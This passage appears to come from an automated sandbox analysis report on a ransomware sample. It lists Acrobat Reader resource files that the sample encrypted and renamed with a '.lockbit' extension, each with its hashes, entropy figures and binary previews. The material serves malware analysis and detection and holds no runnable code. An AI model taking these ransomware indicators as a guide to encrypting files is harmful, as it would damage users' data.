Preview:	...5.t.T.v.q.d?W..7.29":...2...D.{....:...q....m4V.25m.Fa.&..t.....`Z8M.....fE.I.X.T.......\$...[h.xAbz...43.i.L.....\.].,".."....47Cp....>.)+Xr..!u\...h(.Y..ci...h...AO.<.4......Q.z...M.....v-....Vk.?C..0]..YsH.eyb.Z..+.V.F....4NQ,J.A.0...........x,......E...$...S..t.gn....i.0.9...)................9Q..5....X......{...)w`..m.....M..A.C.([:...O......XTfs..>j`\...........w.G....4.@..0t.CHw........-.Q....c.}.s..c.!..J.g.@.c.......(.. ..a.3#.vN.t2.J...y.V....r.{qRF...`hu.......qg_p..+.8...Un.5.i.]:..fv......!1..P+%.:..H...].-B6.!.CNg..g]...e..i....#}V.I.......ZA.I.....l....U...7.8.%..p.Tq.R..A.[lZ2sY..~.........@....m.W.-6%.....b...e8.L.[..m2..a..@9\|..Q.M2..q^N..#y..?<...^.qX..QC.....5R>1..%=..q#.......E..G..N.Z...R.H...uK.....3..N..m....4....../(..a.b-.t.9<n........Iq4...`...q.m.E.=/....b...S.q.(..5%.hJ.h.s....@?..5V..I+1...r..\|z...a.G..M-(&!.h.M.....E.ZH.....I..C.....:...6......'.#.Tt".Xm-.cF{I..8...$. )..7..bt.qt5......X..t/I.UH

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\distribute_form.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.875448975129556
Encrypted:	false
SSDEEP:	24:lOy+orn4gDs5oHnmDG/STtcCahdY6Kc+2kpCD+lW8PuvRA0IDGgubn9yzQPipegJ:lO7cnfA2lS5cucspCilWVRA0IDeJC5/R
MD5:	0DFA56B833F4336FCBD2DE1B9F15263C
SHA1:	41AB27ADC42EC25187214884D487703CE5993605
SHA-256:	E3749D19FB64D8E05F8CA51A7D49F280DA78DDE30659E0951F2E0A1320DD430B
SHA-512:	20375DD6FD7856EB877ED7723199FB50B82966A93162E736E087A2EC5BADE98BF6298C8CBE3EEEF9A3A4F37A6C8B9DA1EC0108EAF084E9561D5D3867F2B1EDFF
Malicious:	false
Preview:	.2+2lR.`..vR.......Z...Z.s.t....;D3.K.A.......-.Sv01..!xY.....a..\...&g......}z<t..C....mKu.Vm.....R..8...;t.Ky....."M.%_O,_j..p...+.}L....k..#=.....D...c;..f..6...W..u..9~.c.G..b]..2.^...X.q..;..#.....i..<........m.....L...~.F~.2Y....y.2...~.?K_P..;l.a.<.9.s.y.3..aO&..<....]>c..v..\|.3T...p;cu.U.....I..9!...c.......7..g...m.N3..9...(...Cn}...S..\\G>+..._.n%l.......X.9..d.X6F.~.3%....x,."../.6..$4S..s....R.&......o.......z..!.A.0.0.0.G[KC.......}c..H.Q...:TN.O.!\!.v.r....4........=l......f.....W[L..X..4J....jRz..C..Y..>#..M....+'.[.....r.R{....x.2 /.GV+BH..DY...I.....3..bP.#..}.w.\.R...d.D...%..L..q4...O..<LArh....F.B.m!=!S....^..f.....pV.1...;(.0.'Q...m..73i<......3...Zx..NT..bR>.\f!....l..=h.8.&.Hq\.....U~{...KG.\.`.!v..I....l...6.n..@...F...`%)......v\|:~*R.+.........Q./Y....vM..=.".k..!.z.&.$G&.o...1.........]7.%..9?....fqU_.X.wG.....0...&.'.._X;...\%T.&Y..d}..>$.....:.1<u3.....k.^y...p...Z..B.`.m.........#...wHc...L:V..h...Q.......A...N

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\email_all.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	7.911846890518631
Encrypted:	false
SSDEEP:	48:TAuU54DWulziKPwDuPNDODGhgDOE4vYJuUFalDIDd4+QRzp7:TAhWD4KPrFZYFFOMDd4+s
MD5:	BE16B9AB0B2AD44F50B7E460271BE9EE
SHA1:	1B7A02D938934297FD41FF25D31EA533622D2BF8
SHA-256:	639CE37165D15D2FC60A1053F3398EB86C9EBFEE287FAB7061C7F92A611474AF
SHA-512:	0D29ABB42381DC0E1A50882E5E90CC56BB7F1DDBA1071635DA6951F0E3A100C8FA174B7A98BC8C72662D421E78FA1166BF0AAFC6173758439C1008458E421D9F
Malicious:	false
Preview:	n]..@.....5.T.3..i..xf..K.,.......Bh..:.S.LV,.).....xI.....+.^h.k.R.G.....l.[.'@y..[f..[..._...8.?.j.dX.,....!.tgY.....>@........ ....B.T....XyC..Ki$weQG.W#(.ex@....N.. ..Ws.w~y.G.H y$.........8...........^V.[-e.....s..Vl1..rC.%..5..w.f.w4G~s.W....L[..l.-.....?.vR...;..H..\|.KyuK..\|.R<+.{.F.S..j...o....5...~.{..M..W.2+..Of........`^]$.w.L.....[..._.....P.`.d..p..w.....<.@......'^.].C...5.l....+...(.".xl1....HN..u%......Jv.a.<...0..I. .$.MU l.\|....{.".q.a.._..9....II..F.1....n...;...R.P......8u.]pw....xj.....[0.e4.b".h=..Z....[.4n..."....D..C...C.iG1z.I.srS=.'8.....b..*<B..l....n.g.Lr..@.o.....v..7Kq...x^(\|.E..l%...b..I~G.6r.ez.(.7].&...o\|..x..!.XKU[9.j..`....S\... -.+a....&.d..].U.......Sic:.V..SY.OK...Yc.E..c4{.f...k]..U.....=..N....52..F...(...]....!(."G@>..$X:.t....x..1S..l.P..f.NI.+.9rVK....._s.ip.`.......`....K.}.[s....._...VJM_...8,3-.-..c..,.1..r .g.v.....,.jA]&....dY.%..S.=.Q...n.Z`...`[.]9.8.7.,.8....]J.\|....f%.U......;N.Y.Y9.

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\email_initiator.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	7.90886822733437
Encrypted:	false
SSDEEP:	48:sgyw+8vauvN2zVdoX4mCutLFaMh7VXnAeKiOAlsUqzp7:f+M7vN25e6uthbhXnAeowi
MD5:	C4E6ED782B361FEE48A40D0F782B1542
SHA1:	52DFFEF947306F1E68EC8AA68C8C0F4C1FF207E5
SHA-256:	D1F7ECF849BFDCF1B7915E15D16A4822D87F40DEFD8844B5BB442AB1CE196CC4
SHA-512:	CF9B6B80FDEA7C69470427F5B57FE1423939F986DF8A9DE07F3B505F69297FA90A17DE7FFD49113491775224DEA3FEB11344F8F19113AD4F37E3D91453001514
Malicious:	false
Preview:	U<8.>.O...`.(}....k;..'.Z!.Re$..Rg.%s.../1...?.hV..@K..M.YA..0.p1..2..\..0t.G.i.Nt.O....&}y9cQl..pT......qt..P%o.?..).Q4...H.C....#.N7...wO.3B.p.[.Z.($..S[?8<.,+..s..o..7.Oi...b>...MB.AT.q..'..........K.p.@.....q....:8..BC.6...R.f....`..A.M...k>......^C..Zj.YJ.W!V.bH.0.."..O.f.~.Z.....T8.y@P.q....E<.3...u......km..!..,.]...].\|....].7:"..%...a._g^F.M..&c...sl.v<aRL..s..;.b.3.ZN.;. Ug ?..T..c.v.+....}.#8.&.33..B4.iWiV...~}.?ru.....C.g........[........}........rN.@..y.o.gr.\|.$.,.5C.f+.....U.RR:'.......{.K...9....i.@0....M'...Jm../.......A0..t..J,2..Y"..q.K7.f.~.{D.e.G...T....t......ZA..u.+w.r...X......X..cj-.>F <t......=.[........C23;..a.X.p...A I. ......WL8.l.}......n......\|a......c....c.k.No....H.....M...K.k.d.e..P.{.\|G<...o......=&........F..p...S.c..)..:..".<...DN...l.!....Q.:.vF,XR/.`.7..9-.........@o.\|.ek...5.@..+.Z%....zu...Snc.w.>..X....>d{7....).f.0.k.+...T8W..#~..C.\.9N.d...`n."......'T.~k.C#.x...-.../...$=..Y.TX`.U.j...e.E......Q....v.K...

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\end_review.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.864797213676924
Encrypted:	false
SSDEEP:	24:mdv4SB+vm0vwdEGLb1i9ReNjI/6rkIxfBsFGOF5yUPkWaAfWqLbqBO/f1ibQRqzV:mdvWSibeNjIvfFGKbaYHq4XobZzp7
MD5:	8696AA5F72B7B33A2CFBECFE019843DC
SHA1:	BEC3E703B7B2BEE83E12513228586F90E62821EC
SHA-256:	DB6A07D2CE2F56BFAD70E29D29DA21568A34DD8257688F505F942F33E53B706A
SHA-512:	15E41939F633F38ACE86F4D25EE772FCC76AA80955554DCA9867F97C9F2430086EADCA5982836C167A6DE5C1F66F74BA81C3C98176CC6E269B5B68E63537E14B
Malicious:	false
Preview:	.I..P.7]7O.J.K..Bg......\|....o.f...o.Xy..z.6.?1...,.L+..J............Q.tA.Y... D./..B_N......."..1.P>D.u.Ol..s..o.?tf.Frf.....yW.j_...A.4w#.S.......qp.;.o.....g.q .Am...D...^.u...;y`....L.k..Y...g....E.3.....T....q..FM..g.08X.\?...T+fA..)..Ub1...p......u.!?y....R...m..T..W.g...s....%t...........RV&9qG...B{ ......B..+....H,...W.^.._.`.Gq.y..-a.R.../m."/?.L,.z...:.S..G!....P.'n......w.H.U....M.....M.L...%o...../..u....k.k=.........t.g.....h..6M...V-.o..r.4..g.....q.....vo.J..Z0.%dy_..G.u...n.r...O..fF.........?4..$...4..d..3.I...&.P.....\....*.r..N.E!......-b.y.....(.=G.H.'...4?..$.@...U..N........8....bY.I.~.p....I.TeM%. ..C.C'.^P.U.l......y.'.K5.&.. ...V.IG.H@h..I?....,w9.MG...L..0.$....MZ>c../.U....wg.~...'...G.p..t....b....x.'.Z'.l[wM.e{ZRd...w4.L.rch.1T.MU.......+t..'.mL..;.f..Y./B\|8.......U.2.Rp.>-./....S......Q..nZ..T..aF`\:.Y..,.A.HP.t.]~09.^<1.@k...m.\|.`.i.......}...YYvz=$..!....B.6Ra.k.p.X.([~.....WI.pP..I.732'E..y.e...

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\ended_review_or_form.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.883299601300581
Encrypted:	false
SSDEEP:	24:4YwSP7ZH0DDASGujDqAKBqHZQ42IdpOJlJltQVLPpquHgCm5yEDzkDtlQGnqzvB7:4Ywg76Wuf1ZRhd8tQRo8EYSkxlQNzp7
MD5:	26AAE6D8B76A384D194355EB2D2B0157
SHA1:	24BCF49FE4A05B5AB279EC33D0C9DC271DF4EFF2
SHA-256:	8316D712FDDF4F7FF9CD1F3858F227935438FE06FE02016AF7346578C1E74C00
SHA-512:	B16F01EADC8AAC88722F03C01684D343074C6283DF27FCE6C2B0047C7F092B14C151E79F661BFC7510DE5A5FE63C0DB973A5CF0B27DD8EB9568F0EB117341A4B
Malicious:	false
Preview:	U.p.(..P...4...@....?...$.fi^"0..:...>.>....M.z...(.4%...n.H...(..(.H..........$.....>..............\|......O........+..m.R0\|.m^..C..;)..IHg\|.h.wm<....B.(R..R:.$L..+?J..j./g.e....J$Z.N.....>sP...n..x...A....L../?.?.].N....Y...=.K..;5p.VH.W.Q.;c....g....d....t....Pn.....!...x&..3...k.+5...:g...u.[T.~[#x.c%.)l..&H...r. .....&z...........v..}.]..3..I.7.FE........28.\y.\|.>.'.QZ_@.....lF....0YD..h.......\|.C...x.;...UF..>....t..UO.......f.v..!.:M......qc.....f...q.}\.^...S[w.?q.....(.<..` E.....P..d.....i:S#..2....(...h.>n.....h.........O2..[...<..=.t...h...e.).0.2r...;.k.....H....Ltu..2.../.a._.\...Y...\6c..Q.Gh.t...p.:.}.lK..`J.Md.\.d.......PW5.G...1..cY. .....<1....6 .Gk.G......!........j..$.i.^...ZML...#......U...t.......%j....Y..].L..x[..Y13..WQ...8...:...BZ..&.....fN.#gbO.W..9....Y..1...Y.....U,.. .Z!`.7..Ra.?..f.E(.;...z.E..jw......0p.8.j.......\| m.+...se..... .?=7..+...cs$....w...A...m=..,$..a..<t-l>.@..a.....gc.5../..K..

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\form_responses.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.894384723313389
Encrypted:	false
SSDEEP:	24:LRArAkz+kxilbPqaNobBzXP7B8dJJj+PX4kGNprGx0H1lKRSKjU0mOgfJGAqzvB7:LRxSMPqaiBX8iPX4kCp6xKKCfVJKzp7
MD5:	ACB5B4A72C48C10541FF1333723C0109
SHA1:	379D2E652290DE47B99475BFDAE03D919B14EBA9
SHA-256:	A0FAC34B9FC6F5B1B36E4758D7E3C3DBD84CD0C06241A4CAF02F57596CDBE3A2
SHA-512:	40C9C244000B6379524D823D3FCA9D0353A9EB44CE6239BAC23F3DC49DAF0E2633CA39EAF5549E9437BCE031FFED6D851073DB5B2848B598D474128893EEB23E
Malicious:	false
Preview:	m....y..yB...u+..?....&..Pu.....m.y./z.v[o=..Z..M".%.T..VU.bt..j.......2...........fEJaq...O.f'M..L[......WO..!..^=..]QX......P...5....N.{.Q...^;;k(....+...mlc\|...@.d.J........".z&)Tc4..[..f.}p.~.....2..g....D.Rl....h....:c.... ...}t......X.pF...2.O.....-S$.....0........m$3<.C.#....~......CN._.M1.....c{q.S.......]^6...7Z..+.(.\.H.c......'.`.#!w...B.x.:1.bq.;t....2....^..OiD`.e....n.i.H..U...i.5..(m............iX.I.8.1.j...-...y.W...w,..K.$.;..+n.4.hb..3H .2.(....3r.._p.A.E...?..b...\|R.#......b..:u~......p.).Xfc...\|(D.y...t)'.<.X..Fg.....j5.%<&.....ht.S.;!..v..J..ps.5tq..%2l.y.\|.I........]LE.......i1.%G........g.vE.\|T.P.{#.3....pEo..ax..2..cd..TC}\|......e..'"...4.!..B.d....n.....N\kV..&.....&.bu.5.....2......F...C_...$..S..1.Hi....qg.&...o..J<..&9.k.....R.Y.......iH....:5.kx.....s...}..dh.3@..v..X....sN...2"d...L..]..4D3.e.".\..s.%.....w.t!.7..B..Nd.9.YE..j p....x...W...\|._.R.%.Q..o.i.l....A.+........sG..g5}.......!Z.X...,...^.

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\forms_distributed.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.878201618489469
Encrypted:	false
SSDEEP:	24:Mb3BSLmIjScSDpXF1vOL/L0N3VTAhHAi3loboz19GlNcNAYdFnDI/zgIIkL1BY8H:Mb3BSpjSt712Do3lYVVgoZUlNcqYdRF8
MD5:	24AFBA4890962F7E34846781D3D790E9
SHA1:	D96387038DCEFB3DE6F888621BF74286C93BEF38
SHA-256:	BB5EE7BF74708759E6515BD3AA7435468B02C37A80F2B5B861DB757B0593C2F0
SHA-512:	7AA58073F8F2905221E1CB3466559EE82F5F450D1C013D94BEB5F0DE0233187D5F8317B28662038F0DF84D21C4C54C61AD44174406C2106EF0FCEF8EDC934209
Malicious:	false
Preview:	R..f. 2\|T.......H.Z......1.x..xx...Db.3.-T.M...e..B..F.5 ..ZF.........5.......X.......Zi0..\|...?....],.1....,!...'.O.mD\|}s.6...A..J4.u&~\.i..=+.P...i....5...[`.._.~j.Q(Q..kZ.5J ...4..s..14Rb=2..x8u.....'.6Jnq%.w..WN....%....G.....$...V......Q.Uw.G....U.M.C.K.H...:......g..f..G\|p?.!.F..\.tP.....;3..M.. ......o......Z.[!.N.).nc....V9.:+..H..Q.".4C...h\|. .........6.....{..e...@...0...!.Du-.j.8xA}.E......."ny.M.7>.k...z.Q.j73.C4O.V.p.;.!..9.j.[.zJ -..k...R).....#.....&......];..k..d.V.....i.zF@(..#..........^+../....".9!.......c...t..(.H....V.........k<.......YI.* ......P...I..%m...'.".sOi.l....M\|Av/.g.6.8...Kd.,..S..l.....v.n..4..I.m....WP.C..W...H....Y.Q..f..c ........!....#..k.b...mj._dn.....3..d.G.z..bwJr..y.vrV.Q..g...a.jV......Z0>..}...v.`b.?..o.o/wS........KN_n./...A....}.TO4F8C/..y........o/..........J[vKd.K.X`...@`.aK.........0..k..Y.13..j5U.r=....P....rLs=.Xk..m...t`.D..:.....z.~...~.u.;.].L..9......(..(...)....6K&...L.:...UX.

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\forms_received.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.880916988879974
Encrypted:	false
SSDEEP:	24:K1uQpPTDN+uHhgL+1YH5qiVZC3geyR3PgyNytW4ywuPG+vOXleXzmOZhq8qzvB7:K1u2PTUuHSLKYHkiVZkg1R3PgADwuPt4
MD5:	740D4B8DC0C62EEDA5576E0180C8A360
SHA1:	F7F57A5263B479B91C10FD866D03CFEADFFC1D88
SHA-256:	BFF8112FEB901FC5CA6552B4033E080A1C14C6619E4B00DBBD922015C8370F25
SHA-512:	EA7E573DE2ABFC277B05F2CD5BB839CEE7BAFBDE10B677846C734DD0C133105D1E6334A3AC6B20DAAB1F9411E07C0331814B6DA1991236C56B1EDEAB2BF95EE6
Malicious:	false
Preview:	...5. ob.].&H.a-T...W0.Tg.....$5u...n.H........R.....{".C.So.....%...P}.......#...;OJ.....e..g...~Bd.H..TH6..c......8.!=/#.hSJg......8.:~..ZqK.k..g..TS......$.......g......F.W.G...F.....i37.5...1.G."Td..l8WL..^D..V.....`.W.......T..>dQ.8.;.3dWOI...DQ.1...i\.`.....^..&\....r.......y..B....Q9..7.[G\|?y..L.~L.b-kY..G4...j.....h...V..}.oR.~.$...h......I.@(.&.O...r..E...h.....0..3.X....C..&....D.aX(.......d. yg.t......+f.\W.]...Z.....hSH.D.....B.............$sV.atb.....b.....A.4!.Ha..Med+r..L.(....F%M...1..x.Y....W...y.%....(.Y.b..k7_...db..z.......{...@<..B.B......-.pE..K%....8..Zwt.....A.dq.....RA......A%y.f...+z'...}.5...T....2.}.cM..A\..&6.....k.1......[.j.(%...h..z.V2E...].Y.B.e.9....dm)...P.].!..nC.!..P.U...$..........Z....oX.......!.R.w"<.!.{......F..)j..._.ie..YKY.(...I.N.g...D....(".#..h.7...t2.h[7....8 [.w..d*c..$./(.._..p.Q=.Pbz.aYY#.:.(y...!T..&1.%.S.ts.m....#a\|...j.xu"..m.n...\|..0.....O..Eh.f...`..'W..b,...7V....

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\forms_super.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.867499608403965
Encrypted:	false
SSDEEP:	24:EyUm+nLyJucbnE1SNgd//axsEYlsg/Qz00E1YzRNGk1Qd8Ivpt4YqzvB7:EZm+LypbE1SNqDEd4GECzRr1QCIvnazV
MD5:	16B6EC9E18BAD78754169B24F65C8306
SHA1:	00F0052D21A6D6DD87DAFF2A4ED1DF8F28288918
SHA-256:	6F00CC32607740EF8F408F50F87DFC0379E83A97EDBA810B851589BD89A62C1B
SHA-512:	1A3147DC81AA29990D486BFBFE8DFFE1DD95DE2261F4212FD6304D1F448A08D9E09A2064F8A26121F75C8FA165FB0AE37C2012225EB68306B83583B5B5474DD5
Malicious:	false
Preview:	.......Ue.Y...z..r...!..U..)L..ZT{n..?".yi...../K..R8.......'..;..4A.....@.X.n..w..~.../>.. ../9_.C......4...z..'[.."U\C.s.9x.A..V...+.>.E.o.0..-).C.U#=Pq.F..Z......p-b..@ F..]...m.K;..\|.ajY...OD<....O.z....."..Z7..O.0.h.....2i..o..n.!..$....D..-.2)......P.hE..>...(a..%...!..3....7.N/R$.;/Oq.%.....=^....[.:.N.yvJ"..4.[.M...'8=..5......e.!....OO...".,{ .....3%..i..zD.)5...C..;.$N..k9.E_..q....KR......?.@..y.....4...S=[.n}...Fm.g.~.M)..[sl.......I......L.t...Q.W.d,.(.3.............F.^.{.=.`jmN.H.......@.\..2...z..Z.....hA\h~=.....L..-.D..aWf..v......{...0c..R..i@.~.....j.....lY6<Z......\|.G...p.F.Q...{0c.T.F..........%0........o2."...q....R..#...."b.U..XRRI..p.q]A./D...`>k.`zL...L.W.5;..Q..l..]..fQ.0..<...8}....j...&...?...1....nB8....t.$HK(......Rk....p..q.?I..n....q}8m..Z.#n....b2Y..>.s...bp.kH(....ASc...S.g..}....+?..$.......8..#...L...Q.g20.No..Z.=...D)..o:;.he%\sr./..?..x/@.&...f..r..u.....X..Y...x}...@.%\|.B,.e..*e.@.....}.JCB..

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\info.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.85277815552392
Encrypted:	false
SSDEEP:	24:DXgB7YjTE3vZy9Yb1JA76LgqzAcDbEEooDZ6tJ/G8yoAMYOy9sBR9fgnvlHb8jqt:DwB1By+JVMqc2ogmJUAHBnfqHAOMkzp7
MD5:	ABE29082222936108E8FC9AB969CA22B
SHA1:	87AFFD967C854B180FC7C04F9C041C0CB217FAD6
SHA-256:	1F4A1D082BB21B6AEA0E0E6C948EDA8DE8C6473F054823CD9E08D6FDF2E49734
SHA-512:	0D4565204BCDDF45B9E5690B8F5762D4456DF3CA480D053383D33ABDD37790F54867010163AB86302934049AF3C6271CC3FCA103F5FB957F7E09B25C25937D9E
Malicious:	false
Preview:	_.....fiL...k.c.]R...Q..RA>.0$F.6..w.@.d...;.9...Nm...$...........1...x.1.'-.2..c..\.I....?.......y.......8.....P3.{..nw~.B.u.....R...m%..}r..].0...E........<c.;..o.^.....j...x9Lz.M@..[!..5...7=..X.6J....N\6.p..-vty~....h0............hQ\C.........]KT......^<....0.J..QS..a.M......v.p.'Y[$4..r ~33a...m5...~...l..!K....bC.XD.k.<...k...".%..4....Rv...x....#S....W{p3...z0.NX....l.....O.8.5.Aps..\.H.K^.i..../.s.....?..D1...'.E..mF.....[<..vp.F...Fpn{.v.2...o.p.N....tb..n3..gn@......8#..@.{.@j...A}(sw..".jw.......-.f.@....,ke>.7.........\.#.\|..'d@....v...r@.j.2.Z....X..n..p1#W.....l..D.X.2.@M........?M...........[W.o.}..2....k.r...%R .-^.....T.E.^@....oc.o...n}-.%..>X..J....d.(Y...+..Dt..d.p.0!...t%.l b...dt.C..2>...$P......>,NeZC.<.....+\|R.I;...c..w.[.....B.fr..F...c.E..\u....."I...f.E\|;..}..d../..Q=_.;.G.#..KY.d0a..M...]U...v%..I...s....;.&v.h...t.cO.va.P.>..)\."J.......p$...E..-0...v9.3..e.r#en@.@NA...wEjl1.I}u...c;M.x.h.n....z}l7...t.l.V+

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\main.css.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	6.7822318306755625
Encrypted:	false
SSDEEP:	96:perAUcjJQKCe+Y/PBdnbvow0ubJuhF/kAg1s9AqrBgp+3+f/eEP1FB3Q+5bPnKo:pkAPBCe+YRxbUubJujcAg1y8lVbPL
MD5:	F5C2F81515B4000039E009A573BB5A60
SHA1:	1AFD2E6F5321E3E393A61DE016B5BD6A7E001D31
SHA-256:	6B7632B6C46A4D591F2E2E4366BB9FB7D44EE8A1EA4F204CD1F4FF97B0F38352
SHA-512:	59D9B8892589B8FA63C0F883397CCA155810D61D4C697FA13C6EA5B9B82478D6FDF3DD689B9809BF1605018716E5D7EC26298145A32CEFC771F5C8796F77CD32
Malicious:	false
Preview:	1....{.+...#.-l<.X.Z=L...]d....a....kM..iL..Q.7q.()..\|C+.+:y........g...;.Aq=.....\{.r.I...E.%.M...-1A..5s.`.4......v.u.b.GWR.1.....E1..l.l......[u..;H[X......\....Q...-...<..n..F..+..&...)....`.({.......4...Xi...J.}.;x.T55.......=....[I.V&(...:.3f..A5.\|UNK......Y.keo...8=..V($..4...HK.:sO."f...?q.W....k"..=...4.rW@.....7\.l.<._....z...Za.;y.X....g..P:....4.F...B.G.;;.ouKF8..v..+J ...o......)h...B .....J..I.vG.-....Z=..&a...?.t....T..:..2.e...F.w.af...k.V.ND{.h.W......z>.8.j6...7...Ckf.&.i..o2.~.{?SN.-CLo...y.k....q<.=)...w..l....DKQ.[..vg.$.19~.^..?.QM.g......&.3.[...^65W.....Z.wHY....KD.J..!<a........\/...WH..C....#N6vA\....6...........j0.h.f...a...%.k ..h..r.+..<.Z..j]..^.......eOu....)...Dk>........O.'.."-.yl..9....#.U.'.._..e0.r.....gs......h...-wmrQ.vjf{.q....~...sx...%....+....-G.B....av.s<L7..x......=.F6x........6D'=...5.,..O._I;"7.h..w.W<..8.Jni...U...V.+.k./.~.N..)..dQ.^.=r.....1.[....y...Fu.....Ds..F.c....5?0P-..(.k.........#mv.+.

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\open_original_form.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.87391606601098
Encrypted:	false
SSDEEP:	24:Pgzn9WMBP3t4ew6i9BlgKCjuTI4+sULsot8CTaWxilOoWJg6HDf2ZUEGLs5eMu4+:ozncaYBCKDTAL/xDoWHJmLR9TCIpaRzV
MD5:	B8D27AD46092AA3F2DEABED386822BFD
SHA1:	4611667896BE7E1F3B13A150FDC788403A38D721
SHA-256:	6DE59D8FB6E6037079E1C9B25BB2A4ED278BD3E3617F89174882B03F5B684098
SHA-512:	8B61A92B6716A85524ECCE271EABB647A1746D523B86C6A83CC3EF94516011340B188A3F37398CD8A09B52C5C87C81BDC3CB7E821CA52074C72DD2665BDBE998
Malicious:	false
Preview:	...6....A.....}..$.Zk...g..1.J.w.."@.[:.l....%_..2.......XU...2..f`..#\F....,].q.8o....s.t..=..Q.AN.y..T.[%..]^.U.x..j.)P:..k.d.f/7...........l..........~..\|/.4..$\|....7.U...A...j....?..\.Q...lX.h..BJ..0..%G..,.\...C..cy>.....k.0/.]..X ...2....8c..&m."..~.#..Wf.z.XAD-......SZ.b..q0>7.Pj:6.8M.....V..].............{...:...cF...t.,...E....Mf.RKy...o..]'.l....g..nx...M@..PR.6~&...Bj}_.......'.^.Bo........r.+?(..U.j...L).....K...>....k#.S...N...F.X...:.s.....P...%5.............Fl....\5........<.!_~&.h@.....rSPn....I.....;.~rCx4"X#R.R..F7^.......x;[.,.y......V..........S...sZE......Xx..x(.&..=p....VI...F...7.d...Y..8.\|f....o....x,.fK.......L.<.`...b...B...l..;...C4...V.MA..u...ASUen}ONG-A.V.z..$...4.y."(vP.r.........M.XL.!.P'c...(S......\.X.)IS..&.e.....:9.{.x'=o...W.a{6..?......pT...'.l.&t...Q...S..Ih..Eg)...K.m.3........J..w-g..`$.....%9.1.m\|.:.....#k&...........~.AL3"..."..h;e..N..B/.x..2o{(.b..I.........".3...&...]Ql..95w..`...F.{..1

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\pdf.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.794801370372778
Encrypted:	false
SSDEEP:	24:jvsl6m7kNnEto/AJeXQx2jWp5zw+VhmqzvB7:rswIsEtBJfXvbzp7
MD5:	C4EE613996529AC8B61A54BCEC03F677
SHA1:	C40110D2713337154EF24121C6B8044895143FE3
SHA-256:	9B14082BD8EED00D1444560C662CAE05DB936B7DD67EBB3E055ADB15E9119FCE
SHA-512:	325554400BD0F61E57728A7A153EBC7EF0D35FB78E0DC340E5317DC29CF92E32C7BD4CE7EE12940D6485F5E43F22C8AD968882E19629A4DE3542058643E17778
Malicious:	false
Preview:	W..N....\.I.cAF..\|u...{..:g.GS9.a.Jw...t.....s{..........]./...]v.z..mt.l6...(.D.K-..).l..o<.`..L...c.p\|.uB^a..dK`.W7F..if..1....i....X...X...S...^=j:..x..kJd(j{..Q..o.q.....`..-.0...kFP....t;"..D5.}.j.\|q.Y].]....n.R.p.l.b.....a..m.p...$S....s...I.h.....l.7NmN......<..-....+N.9.....].{p&.JB..!..s..<.U....@.i..,..g......F.+J.~'....=QN..fe.....Nb:........Ym..},..\...9-h'..j~.2..F{...x...E...c..26.@.s..X.W"id..30...3...".v..-$....!$..J..y.K..v...z,..$..D.o....fv..7.HA.d.M......K.......G9#...pt...w.Or....r.'....A.[U..C.V..d.h.r.5...u..r.BQz.....p.o..ZJ.r..T..!yFu(F4...(....v.......N..{..TX......`]...a......G.......~.......x5...1)V.6...k..*.H.v.."<.$...,.......Q.F....M3..X...l._iIv.GY.j....v$J.1x..9..JX.w9..".J5.6'f.x...zf...\.....O..O.1c(.s..Z.@.z/...D.d...,Pq.....j........~.((.E6.I....\|.]..7...~.F...y...J..d.5!...8%,J.....h.. .~h..#1&.^..n....g.!ki,1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_browser.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	7.917116327132234
Encrypted:	false
